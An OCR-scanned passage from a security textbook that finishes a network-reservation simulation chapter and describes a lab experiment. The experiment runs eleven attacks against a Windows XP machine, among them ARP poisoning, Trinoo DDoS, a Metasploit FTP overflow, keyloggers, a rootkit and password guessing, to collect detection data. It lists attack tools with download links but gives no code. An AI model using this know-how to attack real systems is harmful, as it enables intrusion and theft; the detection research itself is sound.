SI-RSVP and the best effort model

Itisshown in [6] that the Internet is a scale-free network with its node connectivity following
apower-law (or algebraic) distribution as follows:

P(k) ~ k7 (6.1)

where k denotesthe number of linksthat anode haswith other nodesin the network, P(K) isthe
probability that anode hasklinks, and y is2.5for the Internet. The scal e-free network topol ogy
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of thelarge-scale computer network with 1000 nodesis created by using the following method
introduced in [7]:

1. Start with asmall number (mp) of nodes with no links among them.

2. Add a new node with the m(t) links at each time of t, and each link is chosen according
to the following probability of attaching the link to node i among the existing nodes,
j=1,...,n(t), inthe network at timet:

Kk’

]
J

(6.2)

3. Repeat Step 2 until 1000 nodes and their links are generated in the network.

The large-scale network has 1000 nodes, which is determined considering the capacity (i.e., 1
GB of RAM) of the computer used to run the simulation of the large-scale network.

In this network, there are 224 nodes with the connectivity of k = 1. These nodes are consid-
ered as end nodes, specifically 112 nodes are randomly selected as source nodes and the other
112 nodes are the destination nodes. The remaining 776 nodes are considered as routers. The
total of 500 end-to-end paths from source nodes to destination nodes is generated as follows:

1. Randomly take out a source node from the pool of 112 source nodes and a destination node
from the pool of 112 destination nodes, make this source node and this destination node as
a source-to-destination pair.

2. Get the total of 112 source-to-destination pairs by repeating Step 1 until the pool of the
source nhodes and the pool of the destination nodes are empty.

3. Make the pool of 112 source nodes and the pool of 112 destination nodes again.

4. Randomly select a source node from the pool of 112 source nodes but leave this node in
the pool rather than taking it out, and randomly select a destination node from the pool of
112 destination nodes and leave the node in the pool; if this source-destination pair is not
the same as any of the generated source-destination pairs, take this source-destination pair
asanew pair.

5. Repeat Step 4 until the remaining 388 source-destination pairs are generated to make the
total of 500 source-to-destination pairs.

For each of the 500 source-to-destination pairs, the shortest path with the smallest number of
routers to reach from the source node to the destination node is considered the end-to-end path
for this source-to-destination pair.

The simulation of the network and the best effort model, 1-RSVP and SI-RSVP running
on the large-scal e network isimplemented using a simulation language and software package,
caled SLAM [5]. The parameters of the large-scale network simulation are the same as those
for the small-scale network simulation except for the following:

o theranges of JobMaxDelay at the small, medium and large levels respectively are 10 times
those for the small-scale network simulation, since the 500 end-to-end paths have 23.2
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hopsin average for the large-scale network which is about 10 times that for the small-scale
network. Specifically, the ranges of JobMaxDelay for the large-scale network simulation
aresetto

o small: (18000 ms, 32000 ms)
o medium: (28000 ms, 42000 ms)
o high: (38000 ms, 52000 ms).

Thelarge-scale network simulation starts at time 0 and ends at time 500,000 which is 10 times
that the small-scal e network simulation time because the averagelength of end-to-end pathsfor
thelarge-scale network isabout 10 timesthat for the small-scale network. Asfor thesmall-scale
network simulation, there are 100 simulation runs for each traffic level in combination with
each JobMaxDelay level. The performance measures for the large-scale network simulation
are the same as those for the small-scale network simulation, except for the following:

e the router utilization is averaged over al routers since there are too many routers in the
large-scale network to list their router utilization separately:

e JobCompletionTime at each router is not presented due to the large number of routers.

6.4.3 Service performance of I-RSVP, SI-RSVP and the best effort model

Tables 6.3-6.5 give the service performance of [-RSVP, SI-RSVP and the best effort model
from the small-scale network simulation. Table 6.6 gives the service performance of I1-RSVP,
SI-RSVP and the best effort model from the large-scale network simulation. In Tables 6.3—
6.6, IMD stands for JobMaxDelay, and JCT stands for JobCompletionTime. A value without
parentheses is amean, and a value within parenthesesis a standard deviation.

The following observations are obtained from the results of both the small-scale network
simulation and the large-scale network simulation in Tables 6.3-6.6:

e Under the best effort model, the number of late jobs increases as network traffic increases
from the light level to the medium level and from the medium level to the high level when
the JobMaxDelay level remains the same, due to the increasing traffic congestion of more
jobs competing for service and consequently their longer waiting times. Note that there
are late jobs even at the light traffic level when JobMaxDelay is small. The increase of
the JobMaxDelay hel ps reduce the number of late jobs under the best effort model when the
traffic level remains the same.

e Under I-RSVP and SI-RSVP, there are no late jobs due to the job reservation for the end-
to-end delay guarantee in I-RSVP and SI-RSVP. I-RSVP and SI-RSVP avoid the traffic
congestion problem by not sending out those jobs which fail to get a reservation due to
failure of meeting their JobMaxDelay. This is demonstrated by the number of jobs with
reservation failure under 1-RSVP and SI-RSVP which behaves similarly to the number
of late jobs under the best effort model. For example, the number of jobs with reserva-
tion failure increases as network traffic increases and the increase of the JobMaxDelay
helps reduce the number of jobs with reservation failure when the traffic level remains the
same.
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Under the best effort model, the number of successful jobs increases as network traffic
increases from the light level to the medium level due to more utilization of the available
router bandwidth. However, the number of successful jobs decreases as network traffic
increases from the medium level to the heavy level due to more jobs competing for service
and consequently longer waiting times of jobs when the router bandwidth is close to or at
the full utilization at the medium and heavy traffic levels.

Under I-RSVP and SI-RSVP, the number of successful jobs increases as network traffic
increases from the light level to the medium level and from the medium level to the heavy
level for two reasons: (1) there are more jobs going through the network, and (2) not sending
out those jobs whose JobMaxDelay cannot be satisfied or downgrading them to low priority
preventsthem from blocking other jobswith areservation and increasing other jobs’ waiting
time. Asshown in Tables 6.5-6.6, the increase of network traffic leadsto the increase in the
utilization of each router’s bandwidth and thus the increase of successful jobsunder I-RSVP
and SI-RSVP.

Regardless of the service model, the number of jobs still in the network at the end of the
simulation generally increases as network traffic increases, because more jobs are generated
and sent out from the sources.

Under thebest effort model, the number of jobsstill inthenetwork at theend of thesimulation
remains the same for a given traffic level regardless of JobMaxDelay since JobMaxDelay is
not considered by the best effort model. Under [-RSVP and SI-RSVP, the number of jobs
in the network at the end of the simulation increases as JobMaxDelay increases when the
traffic level remains the same, because the increase of JobMaxDelay allows more jobs with
successful job reservations and thus more jobs sent out from the source.

As shown in Tables 6.5 and 6.6, the router utilization under the best effort model is greater
than that under I-RSVP which is generally (except for the light traffic level) greater than
that under SI-RSVP, due to the time gaps between the service time slots of jobs introduced
during the job reservation under 1-RSVP and even more time gaps due to the unfilled data
space in some batches under SI-RSVP.

Under the best effort model, the number of jobs at destination remains the same for a given
traffic level regardless of JobMaxDelay because the best effort model simply sends out jobs
from their source to their destination without the job reservation and thus without the need
to examine their JobMaxDel ay.

Under each of the three service models (the best effort model, I-RSVP and SI-RSVP) for
the small-scale network simulation, the router, R2, is less utilized than three other routers,
R1, R3 and R4 for agiven traffic level and a given JobMaxDelay level, because only one of
the three source-to-destination paths goes through R2. Unlike R1 whichisalso involved in
only one of the three source-to-destination paths but is the first router on the path from S1,
R2 isthe last router to D1 as shown in Figure 6.5. This means that the delay of jobs at the
preceding routers may slow down the traffic going to R2.

As shown in Tables 6.5 and 6.6, under each of the three service models (the best effort
model, I-RSVP and SI-RSVP), JobDelayTime increases as network traffic increases from
the light level to the medium level and from the medium level to the heavy level because
more jobs lead to more waiting times of jobs at each router.
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e Atthelight and medium traffic levels, JobDelay Time under the best effort model istypically
less than that under 1-RSV P due to time gaps between service time slots of jobs introduced
during the job reservation for each level of JobMaxDelay. However, at the heavy traffic
level, JobDelayTime under the best effort model is much greater than that under I-RSV P for
each JobMaxDelay level. This clearly demonstrates the importance of the job reservation
in I-RSVP in guaranteeing the end-to-end delay of jobs with a reservation and preventing
traffic congestion.

e JobDelayTime under SI-RSVP is greater than that under 1-RSVP due to more time gaps
associated with the unfilled data space of some batches introduced in SI-RSVP for each
traffic level in combination with each JobMaxDelay level.

o For the small-scale network simulation only, the variance of JobDelayTimeunder I-RSVPis
better than that under SI-RSV P at the light traffic level, but isworsethan that under SI-RSVP
at the heavy traffic level. Thisshowstheintroduction of BSACin SI-RSVP helpsthe service
stability of jobs when network traffic becomes heavy and more jobs are waiting for service
at agiven time. But this advantage does not appear for the large-scale network simulation,
which needs further investigation.

e JobDelayTimeunder thebest effort model remainsthe sameregardlessof JobMaxDelay for a
giventrafficlevel. However, under I-RSVPand SI-RSV Pfor agiventrafficlevel, theincrease
of JobMaxDelay alows more job reservations, which in turn increases JobDelayTime of
jobs.

In summary, the performance results have clearly demonstrated that the job reservation in
I-RSVP and SI-RSVP provides the guarantee of end-to-end delay for jobs with a reservation.
The tradeoff made by 1-RSV P and SI-RSV P for the end-to-end delay guarantee is the sacrifice
of JobDelay Time at only the light and medium traffic level s due to time gaps between reserved
servicetimeslotsof jobsintroduced during thejob reservation, but ahugegainin JobDelay Time
of jobs when network traffic becomes heavy by not sending out jobs without a reservation and
thus preventing traffic congestion and its effect on high-priority jobs. Another option for
jobs without a reservation is to downgrade them to low priority and send them out as jobs
of low priority, which also has no effect on the service of high-priority jobs. Overall, the
service performance under I-RSV P is better than that under SI-RSVP. The BSAC in SI-RSVP
demonstratesits effect of improving the service stability of jobs when network traffic is heavy
and thusmorejobsarewaiting for serviceat agiventimefor the small-scale network simulation
only.

6.5 SUMMARY

As more business transactions move onlineg, it has become imperative to provide the QoS
assurance on the Internet which does not currently exist. This chapter describes two new
resource reservation protocols, I-RSVP and SI-RSVP, to guarantee the end-to-end delay of
instantaneous jobs. The end-to-end delay guarantee through [-RSVP and SI-RSVP is verified
in the testing of I-RSVP and SI-RSVP in comparison with the best effort model through the
small-scale network simulation and the large-scale network simulation. I-RSVP and SI-RSVP
demonstrate their additional advantage to the best effort model in preventing traffic congestion
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and producing much smaller JobDelayTime and more successful job completions, especially
when network traffic is heavy. In overall, [-RSV P shows the better service performance than
SI-RSVP. Hence, I-RSVP for handling instantaneous jobs and RSV P for handling jobs with
continuous data flows can be put together into a solution to provide the end-to-end delay
guarantee on the future information infrastructure.
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Part |1

M athematical/Statistical Features and
Characteristics of Attack and Normal
Use Data

Part 111 focuses on analyzing and understanding data collected from a computer and network
system under attack or normal use conditions, especially discussing distinctive data character-
istics which enabl e detection and identification of attack events. An event can be an activity, a
state change, or a performance change which is a part of the cause—effect chain triggered by
agiven attack (see Chapter 1 for the description of a cause—effect chain of activity, state and
performance in aresource—process-user interaction). A data characteristic of agiven attack is
asignificant change in afeature of data observations for one or multiple data variables which
appears at the time of one or more eventsin the cause—effect chain of the attack. Hence, three
concepts are involved in defining a data characteristic of a given attack: data, feature, and
characteristic.

Data collected from acomputer and network system consists of datavariablesand their data
observations which capture activities, state changes and performance changes on the system.
Chapter 2 givesexamplesof datavariables, Network I nterface\ Packets/sec, Memory\ Available
Bytes, and Process (_Total)\Page Faults/sec, which can be collected using the Windows
Performance Objects. Chapter 2 also describes various facilities and tools on a Windows op-
erating system to collect activity, state and performance data from a computer and network
system. Among those facilities and tools, the Windows performance objects provide facilities
to collect a comprehensive set of activity, state and performance data from a host computer,
which enable the cause—effect chain of activities, state changes and performance changestrig-
gered by an attack to betraced. Other facilities and tools on Windows collect primarily activity
data without state and performance data. Hence, research reported in Part 111 investigates
activity, state and performance data which is collected from computers using the Windows
performance objects. Specific objects and data variables within each object are described in
detail in Chapter 7.

InPart |11, Windowsperformance objectsdataiscollected under el even attack conditionsand
two normal use conditions to provide attack and normal use data for investigation. Chapter 7
describes these attack and norm conditions in detail. Not all data variables, which can be
collected from the Windows performance obj ects, capture specific activities, state changes and
performance changes which are associated with a given attack. Only data variables, which are
relevant to specific activities, state changes and performance changesin the cause—effect chain

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
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of agiven attack, are useful for detecting events of the attack. Such datavariables areidentified
for each of the eleven attacks in Chapters 8-11.

A feature isameasure of aproperty which existsin asample of data observationsfor oneor
multiple data variables. Only univariate mathematical/statistical features—features of a data
sample from one data variable—are investigated in Part 111. These univariate mathematical/
statistical features include the statistical mean in Chapter 8, the probability distribution in
Chapter 9, the autocorrelation in Chapter 10, and the wavel et-based signal strength in Chapter
11 covering the Haar wavelet, the Daubechieswavelet, the Derivative of Gaussian wavelet, the
Paul wavelet and the Morlet wavelet. These wavelets are used to extract the time-frequency
signal changes associated with the data patterns of step change, steady change, random change,
spike change and sine-cosine wave with noise. Chapters 8-11 provide mathematical/statistical
methods of extracting the mean, probability distribution, autocorrelation, and wavel et features
from attack and normal use data. Among the four features, the distribution feature givesamore
comprehensive picture of a data sample than the mean feature. Both the wavelet feature and
the autocorrel ation feature reveal relations of data observations over time. The autocorrelation
feature focuses on the general autocorrelation aspect of time series data, whereas the wavel et
feature focuses on special forms of time-frequency data patterns. Both various wavelet forms
and various probability distributions are linked to certain data patterns. Thedistribution feature
describes the general pattern of the data, whereas the wavel et feature reveals time locations
and frequencies of specia data patterns. Hence, the wavel et feature reveals more special data
features than the distribution feature and the autocorrelation feature. Note that there are other
types of univariate features (e.g., features extracting other trends or patterns of data) as well
as multivariate features (i.e., features of data from multiple data variables) which are not
investigated in Part I11 but may be useful in revealing data characteristics of various attacks.

If one or more events of a given attack cause a significant change in a specific feature of
a data variable, this change is considered a data characteristic of the attack. Chapters 8-11
describe statistical tests to identify a significant change in a given data feature, and revea
data characteristics of eleven attacks in the mean, probability distribution, autocorrelation,
and wavelet features. If a specific data characteristic appears during a given attack but not
during other attacks or normal use activities, this data characteristic is considered a unique
data characteristic of that attack and can be used to uniquely detect and identify this attack.
Notethat an event may manifest through more than one data characteristic (e.g., morethan one
datavariable or morethan onefeature of adatavariable). Theidentified attack characteristicsin
the mean, distribution, autocorrelation and wavel et features are used to uncover the similarity
and difference of the attacks.

Thedatacharacteristicsof attack and normal useactivitiesdiscoveredin Part 11 are essential
to building attack detection models for detection accuracy and earliness. Attack detection
models are covered in Parts I V-VI.
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Collection of Windows performance
objectsdata under attack and
normal use conditions

Data, whichisused to investigate data characteristics of attack and normal use activitiesin Part
[11, is collected from a computer running the Windows XP Professional with Service Pack 2.
The performance objects [1] on the Windows XP Professional are used to collect data under
eleven attack conditions and two normal use conditions. This chapter describes the Windows
performance objects data, attack and normal use conditions, the computer setup for the data
collection, and the procedure of running eleven attacks and two normal use activities.

7.1 WINDOWS PERFORMANCE OBJECTSDATA

Performance objects built into the Windows X P Professional with Service Pack 2 provide data
concerning objects on acomputer, including hardware components such as objects called Pro-
cessor, Cache, Memory, Physical Disk and Network Interface, and services or server programs
such as objects called Server, WINS (Windows Internet Name Service), ICMP, TCP, UDP,
and IP[1]. Thereis also a System object. More examples of performance objects are given in
Table 7.1. Some performance objects, such asthe Process object, have more than oneinstance.

Each performance object has counterswhich provide datarepresenting variousactivity, state
and performance aspects. By our definition of activity, state and performancein Chapter 1, not
only performance data but also activity and state data of an object are covered by counters of
that object. For example, the performance object, Network Interface, has a counter, Packets
Received/sec, which summarizes arriving packet activitiesat the network interface. Thisobject
also has acounter, Output Queue Length (in the unit of packets), which capturesthe state (i.e.,
length) of the output packet queue. Another counter of the object, Packets Outbound Errors,
gives one measure of the data transmission performance in the number of outbound packets
which could not betransmitted dueto errors. Table 7.1 gives examples of countersfor anumber
of performance objects.

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
© 2008 John Wiley & Sons, Ltd
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Table 7.1 Examples of performance objects and their counters

Performance object

Counters

ACS (Admission Control Service)/RSVP

(Resource Reservation Protocol) Service

Active Server Pages

Browser

Cache

FTP Service

HTTP Indexing Service

IAS Authentication Clients

IAS Authentication Server

ICMP

Indexing Service

Indexing Service Filter

Internet Information Services Global Object

Failed QoS requests

RSVP sessions

Request Execution Time
Request Wait Time

Requests Failed Total
Requests Queued

Session Duration

Session Total

Illegal Datagrams/sec

Missed Server Annoucements
Server List Requests/sec
Copy Reads/sec

Copy Read Hits %

Data Maps Hits %

Current Connections

FTP Service Uptime

Total Anonymous Users

Total Connection Attempts
Total Files Received

Total Files Sent

Total Login Attempts

Active Queries

Queries per minute

Total Queries

Total Requests Rejected
Access Accepts/sec

Access Rejects/sec

Bad Authenticators
Malformed Packets

Duplicate Access-Requests
Invalid Requests

Malformed Packets

Server Up Time

M essages/sec

Received Dest. Unreachable
Received Echo/sec

Filesto be Indexed

Index Size

Total # Documents

Binding Time

Indexing Speed (MB/hr)
BLOB Cache Flushes
Current File Cache Memory Usage
Current URIs Cached
Mesasured Async |/O Bandwidth Usage
Datagrams/sec

Datagrams Received Header Errors
Fragment Reassembly Failures
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Performance object

Counters

Job Object

Job Object Details

Memory

MSMQ Queue
MSMQ Queue Service

Network Interface

Objects

Paging File

Physical Disk

Print Queue

Process

Processor

RAS (Remote Access Service) Port

Redirector

Current % Kernel Mode Time
Current % Processor Time
Process Count — Active

% Privileged Time

1/0 Data Operations/sec
Page Faults/sec

Pool Nonpaged Bytes

% Committed Bytesin Use
Available Bytes

Cache Faults/sec

Page Faults/sec

System Code Resident Bytes
Bytesin Queue

Incoming M essages/sec

IP Sessions

Total Messagesin all Queues
Bytes Received/sec
Current Bandwidth

Output Queue Length
Packets Outbound Errors
Events

Processes

Threats

% Usage

% Usage Peak

% Disk Time

Current Disk Queue Length
Disk Reads/sec

Job Errors

Total Pages Printed

% Privileged Time

Handle Count

ID Process

10 Read Operations/sec
Page Faults/sec

% Privileged Time

% User Time

DPC Rate

Interrupts/sec

Alignment Errors

Buffer Overrun Errors
Frames Received/sec

Seria Overrun errors
Bytes Received/sec
Current Commands
Network Errors/sec

Reads Large/sec

Server Reconnects

(Continued)
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Table7.1 (Continued)

Performance object

Counters

Server

Server Work Queues

System

TCP

Telephony

Thread

UDP

Web Service

Terminal Services Session Object

Bytes Total/sec
ErrorsLogin

File Directory Search
File Opened Total
Session Timed Out
Active Threads
Available Work Items
Current Clients

Queue Length

Total Bytes/sec

% Registry Quotain Use
Context Switches/sec
File Control Operations/sec
Processes

Processor Queue Length
System Calls/sec

System Up Time
Connection Failures
Connections Active
Connections Reset
Segments/sec
ActiveLines

Current Incoming Calls
Outgoing Calls/sec

% Privileged Time

% User Time

Context Switches/sec
Priority Current

Thread State

Thread Wait Reason
Datagrams Not Port/sec
Datagrams Received Errors
Datagrams/sec
Anonymous Users/sec
Bytes Total/sec

CGI Requests/sec
Connection Attempts/sec
Current Connections

Get Requests/sec
Locked Errors/sec
Logon Attempts/sec
Service Uptime

Total Files Transferred
Total Not Found Errors
Input Errors

Output Bytes

Total Async Frame Error
Total Protocol Cache Hits
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Each counter islogged using the counter path which specifies the computer name, object,
instance, instance index and counter in the following format:

Computer-name\ Object_name(I nstance_name#l ndex_number)\ Counter_name.
An example of a counter specified by the counter path is:
ALPHAO02\ Process(services)\%Processor Time,

for the % Processor Time counter of the servicesinstance of the Process object on acomputer
named ALPHAQ2.

The performance objectsand their counters can be sel ected and configured by clicking Start,
Control Panel, Performance and Maintenance, Administrative Tools, and finally Performance
onacomputer running the Windows X P Professional with Service Pack 2, wherethedescription
of each counter isalso available.

7.2 DESCRIPTION OF ATTACKSAND NORMAL USE ACTIVITIES

Table 7.2 gives a list of eleven attacks and two normal use activities which are executed on
a computer to collect the Windows performance objects data from this computer under each
attack and normal use condition. Table 7.2 also lists the software used for each activity with
the reference. These attack and normal use activities are briefly described below.

7.2.1 Apache Resource DoS

The Apache Resource DoS attack exploits a vulnerability [2] in an Apache web server which
isimplemented using Apache 2.0.52. By opening afew connections with along header to the
Apache server, an attacker can force the server to alocate more and more memory space to
these connections, resulting in either degraded performance or crash of the server and thus
DoS. The attack ends when it completes its attacking procedure.

7.2.2 ARP Poison

In the ARP (Address Resolution Protocol) Poison attack, the attacker first builds a list of
MAC addresses of computers on the local network of the attacking computer by using Et-
tercap 0.7.2 to send out a series of ARP requests asking for MAC addresses of computers
on the network of the attacking computer. These ARP requests consist of one request going
out to every |P address on the network. The list of MAC addresses is used to set up traffic
forwarding on the attacking computer. The Ettercap software is then instructed to send out
unsolicited ARP replies to computers on the network about every ten seconds to keep these
computers’ ARP table poisoned. These ARP replies contain information which falsely maps
the |P address of each computer on the network to the MAC address of the attacking com-
puter. Upon receiving a spoofed ARP reply, an active computer updates its ARP table with the
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Table7.2 Attacks and normal use activities executed for data collection

Name of activity
Type of activity (name abbreviation) Software used Reference
Attack Apache Resource DoS ~ Apache 2.0.52 http://www.apache.org/
(Apache) http://seclists.org/lists/
fulldisclosure/2004/Nov/
0022.html
ARP Poison (ARP) Ettercap 0.7.2 http://ettercap.sourceforge.net
Distributed DoS Trinoo http://packetstormsecurity.org/
(Distributed) distributed/trinoo.tgz
Fork Bomb (Fork) Winfb.pl http://www.iamaphex.cjb.net
FTP Buffer Overflow Warftpd 1.65 http://metaspl oit.com/projects/
(FTP) Framework/exploits.html

#warftpd_165_user
Hardware Keylogger Keykatcher 64K mini http://www.keykatcher.com

(Hardware)

Remote Dictionary Tscrack 2.1 http://www.archive.org
(Remote)

Rootkit (Rootkit) AFX Rootkit 2005 http://www.iamaphex.cjb.net

Security Audit Nessus 2.2.5 http://www.nessus.org
(Security)

Software Keylogger Windows Keylogger 5.0  http://www.littlesister.de
(Software)

Vulnerability Scan NMAP 3.81 http://www.insecure.org/nmap
(Vulnerability)

Normal Use Text Editing Microsoft Word 2002 http://www.mi crosoft.com
Web Browsing Internet Explore 6.0 http://www.microsoft.com

false information. As aresult, all network traffic on the network is directed to the attacking
computer rather than to its intended destination. In the execution of this attack, the attacking
computer alters network traffic before sending it out to itsintended destination. Alternatively,
the attacking computer can aso pull out information such as usernames and passwords, or
even drop network traffic. After the attack has lasted about ten minutes, the attacker stops
the attack by sending out ARP replies with original MAC addresses of computers on the
network.

7.2.3 Distributed DoS

Trinoo is used to execute the Distributed DoS attack through the Trinoo master which controls
a Trinoo client to send massive amounts of network traffic to the victim computer. Both the
Trinoo master and the Trinoo client run on the attacking computer. As a result, the network
bandwidth of thevictimisused up by such malicious network traffic, and some other computer
resources such as the processor are also taken up to their full capacities. The attack is stopped
by the attacker after about ten minutes.
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7.2.4 Fork Bomb

The Fork Bomb attack involvesaprocesswith aloop of creating anew processin eachiteration.
These processesfill up the process table with many new entries, and consume other computer
resources with the consequences of degraded service or denial of service. Winfb.pl is used to
execute the Fork Bomb attack which spawns about 101 processes of the Windows cal cul ator,
producing a significant load on the victim computer. The attack ends when it completes its
attacking procedure.

7.25 FTP Buffer Overflow

A FTP server implemented using Warftpd 1.65 which has a buffer overflow vulnerability
associated with the FTP command, USER. Inthe FTP Buffer Overflow attack, the attacker uses
Metasploit 2.4 on the attacking computer to overflow the input buffer of the USER command
on the victim computer and open a shell environment which allows the attacker to remotely
control the victim computer. The attack ends when it completes its attacking procedure.

7.2.6 Hardware Keylogger

Inthe Hardware Keylogger attack, akeykatcher mini device with aninternal memory of 64KB
to store keystrokes is plugged between the keyboard and the keyboard port on the victim
computer to intercept all keystrokes. With the 64K memory, the keykatcher can record over
65,000 keystrokes. Since only the victim computer is involved in this attack, the attacking
computer is turned off during this attack. After plugging the keykatcher, the attack is stopped
after about ten minutes by unplugging the keykatcher between the keyboard and the keyboard
port on the victim computer.

7.2.7 Remote Dictionary

In the Remote Dictionary attack, Tscrack 2.1 running on Windows 2000 of the attacking
computer attempts to remotely login the administrator account on the victim computer using
passwords which are taken from a dictionary of passwords. On Windows, the administrator
account is never locked out even if there are multiple (e.g., three) incorrect login attempts.
The victim computer is set up with a password for the administrator account. The password is
approximately in the middle of the dictionary file, and is reached to allow a successful login
after about ten minutes of failed login attempts. Thisis when the attack ends.

7.2.8 Rootkit

Rootkit is a collection of tools which can be used to gain the administrator-level access to
computer resources and also hide the presence of Rootkit processes running on a victim
computer. An attacker can use a password cracking, buffer overflow, or another form of attack
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to gain initial access to a victim computer. With the initial access, the attacker uploads and
installs Rootkit on the victim computer. Rootkit can also get installed on a victim computer
through a user downloading Trojan software, executing afile attached to an email, and so on.
After theinstallation, Rootkit can be used to set up a network backdoor, install a keylogger, or
carry out other harmful activitiesusing thetoolsin Rootkit. To executethisattack, AFX Rootkit
2005 isinstalled to run on the victim computer and alter binaries, files or system utilitiesto hide
Rootkit processes from the list of running processes in the Windows task manager, system’s
tray icons, network sockets, and files/folders. The attack lasts about ten minutes.

7.2.9 Security Audit

In the Security Audit attack, Nessus 2.2.5, which is an automated security auditor, is used
to test and discover certain security vulnerabilities of the victim computer. Nessus first uses
NMAP (see Section 7.2.11) to scan vulnerabilities on the victim computer, matches the scan
results with known vulnerabilities stored in a database, and attempts to exploit a number of
known vulnerabilities. The attack ends when Nessus completes its auditing procedure.

7.2.10 Software Keylogger

Windows keylogger 5.0 isinstalled on the victim computer to execute the Software Keylogger
attack. The attack beginsby using the softwareto trap and record system callswhich arerelated
to keyboard events on the victim computer. The attack lasts about ten minutes. The keystroke
events are recorded to alog file. In the real world, a keylogger software can be installed on a
victim computer through, for example, avirusor Trojan programin an attached file to an email.

7.2.11 Vulnerability Scan

NMAP 3.81, which is used in the Vulnerability Scan attack, probes each port on the victim
computer to find open ports, and then examines each open port to determinethetypeand version
of softwareproviding serviceat each port aswell asthetype and version of the operating system
through, for example, inspecting the reply packets for sequence numbers, response messages,
and so on. The attack ends when NMAP completes its scanning procedure.

7.2.12 Text Editing

In the text editing activity, the user is asked to open a Microsoft WORD file and type the text
from a piece of paper given to the user for ten or more minutes.

7.2.13 Web Browsing

In the web browsing activity, the user is asked to use Windows Internet Explore to search the

Google web site, www.google.com, for atopic (e.g., ‘intrusion detection’) and keep visiting
the related sites for ten or more minutes.
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Figure 7.1 Computer network setup for data collection.

7.3 COMPUTER NETWORK SETUP FOR DATA COLLECTION

Figure 7.1 shows the computer network setup, which consists of mainly a NetGear router and
four Dell PCs which are linked to the router through 100Mbps Ethernet cables. Three of the
four Dell PCsare used asthe attacking computers, and another Dell PCisused by anormal user
as the victim computer from which Windows performance objects data are collected. Three
attacking computers have the Linux operating system, the Windows XP operating system,
and the Windows 2000 operating systems to execute Linux-, Windows XP-, and Windows
2000-based attacks, respectively. The victim computer has the Windows X P operating system.
Table 7.3 lists the hardware capacities and software configurations of the router and four
Dell PCs. For the Fork Bomb, Hardware Keylogger and Software Keylogger attacks, the
attacking computers are turned off since these attacks involve only the victim computer on
which hardware device or software for attacking is installed and executed.

7.4 PROCEDURE OF DATA COLLECTION

For each of eleven attacks, three runs of activities are carried out on the victim computer as
shownin Table 7.4 to collect datafrom the victim computer. A blank cell in Table 7.4 indicates
that the corresponding activity is not carried out in the corresponding run. As noted by ‘V’
in Table 7.4, the duration of an attack activity varies with attacks, and the duration of each
attack may vary slightly in each run of execution. Table 7.5 shows the duration of each attack
execution by listing the number of data observations obtained from each run of attack execution
for each attack, with the data sampling rate of every 1 second.

The design of three runs for each attack is to discover data characteristics of each attack
and each normal use activity and also provide testing data to evaluate detection models in
Parts V-V of this book. The comparison of inactive datawith attack datafrom Run 1 reveals
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Table7.3 Hardware capacities and software configurations of equipment in the computer network

setup
Equipment Capacities and Configurations
NetGear Router Processor: 200 MHz

Dell PC #1: the attacking
computer used by the
attacker

Dell PC #2: the attacking
computer used by the
attacker

Dell PC #3: the attacking
computer used by the
attacker

Dell PC #4: the victim
computer used by the
normal user

Memory: 2 Mb Flash, 16 Mb SDRAM

Bandwidth: 12.5 Mbpsfor LAN to WAN, 1.2 Mbps for 3DES.

Configuration: only outgoing network traffic is allowed through the
router, except when the normal user is performing the web browsing
activity

Processor: Pentium 4, 3.00 GHz

RAM: 3.75 GB

Hard disk: 120 GB

Operating system: Linux Ubuntu 5.04

Attacks supported: Apache Resource DoS, ARP Poison, Distributed
DoS, FTP Buffer Overflow, Rootkit, and Security Audit

Processor: Pentium 4, 3.00 GHz.

RAM: 2.5 GB.

Hard disk: 120 GB.

Network interface: Intel Pro/1000 MT Network

Operating system: Microsoft Windows X P Professional with Service
Pack 2

Attacks supported: Vulnerability Scan

Processor: Pentium 4, 3.00 GHz

RAM: 1 GB

Operating system: Microsoft Windows 2000

Attack supported: Remote Dictionary

Processor: Pentium 4, 3.00 GHz

RAM: 3.0 GB

Operating system: Microsoft Windows X P Professional with Service
Pack 2

Attacks supported: Fork Bomb, Hardware Keylogger, and Software

Keylogger

Table7.4 Procedure of data collection

Duration of data collection (in minutes)

Run Inactive Text Web Attack and Attack and
number (no user activity) editing browsing Attack text editing web browsing
1 10 V
2 10 10 Y,
3 10 10 Y,
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Table 7.5 Number of data observations obtained for each attack execution

Number of data observations

Attack and text Attack and web
Attack Attack in Run #1 editing in Run #2 browsing in Run #3
Apache Resource DoS 127 120 122
ARP Poison 655 623 627
Distributed DoS 600 600 600
Fork Bomb 30 13 16
FTP Buffer Overflow 6 6 6
Hardware Keylogger 667 614 667
Remote Dictionary Attack 220 270 270
Rootkit 600 599 623
Security Scan 430 431 437
Software Keylogger 660 634 631
Vulnerability Scan 222 218 215

data characteristics of each attack. The comparison of inactive data with the text editing norm
data from Run 2 reveals data characteristics of the text editing norm. The comparison of
inactive data with the web browsing data from Run 3 reveals data characteristics of the web
browsing norm. When both an attack and a normal use activity occur at the same time in
Run 2 and Run 3, data with mixed effects of attack and normal use activities, caled the
mixed attack and norm data, is collected for the duration of the attack from Run 2 and Run 3.
The mixed attack and norm data as well as the normal use data from Run 2 and Run 3 is
used to test all detection models in Part VI and some of detection models in Parts IV and
V. The occurrence of a normal use activity on the victim computer followed by an attack on
the victim computer while the normal use activity continues until the end of the attack and
the data collection imitates the real-world situation on the victim computer when an attack
happens.

All counters of all Windows performance objects, except counters in the Browser and
Thread objects, are selected for each run of data collection. The Windows performance objects
data is recorded locally on the victim computer. The default data sampling rate of Windows
performance objects is every 15 seconds for counter logs in System Overview [1]. For each
run of data collection in Table 7.4, the data sampling rate is every 1 second. The number of
datavariables, which appear in the datalog from each run of data collection, rangesfrom about
1000 to 1200.

Like the attack and normal use activities, running the Windows performance objects to
collect the data on the victim computer produces data effects on the collected data variables
of the Windows performance objects. However, the data analysis and attack detection models
described in the following chapters focus on differences among various conditions (including
theinactive condition, each normal use condition, each attack condition, and each mixed attack
and norm condition in Runs 1, 2 and 3) which al have effects on the data collection. Hence,
differences discovered are attributed to differences among various conditions, which are of
interest in cyber attack detection.
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7.5 SUMMARY

Thischapter presents Windows performance objectswhich are used to collect activity, stateand
performance data under eleven attack conditions, two normal use conditions, and conditionsin
which both an attack and anormal use activity occur at the same time. Examples of Windows
performance objects and counters in those objects are provided. The computer network setup
and procedure for data collection are also illustrated.

REFERENCES

1. Windows Performance Objects, http://www.microsoft.com/resources/documentation/
windows/xp/all/proddocs/en-us/.
2. Vulnerability CAN-2004-0942, http://seclists.org/lists/fulldiscloure/2004/Nov/0022.html.
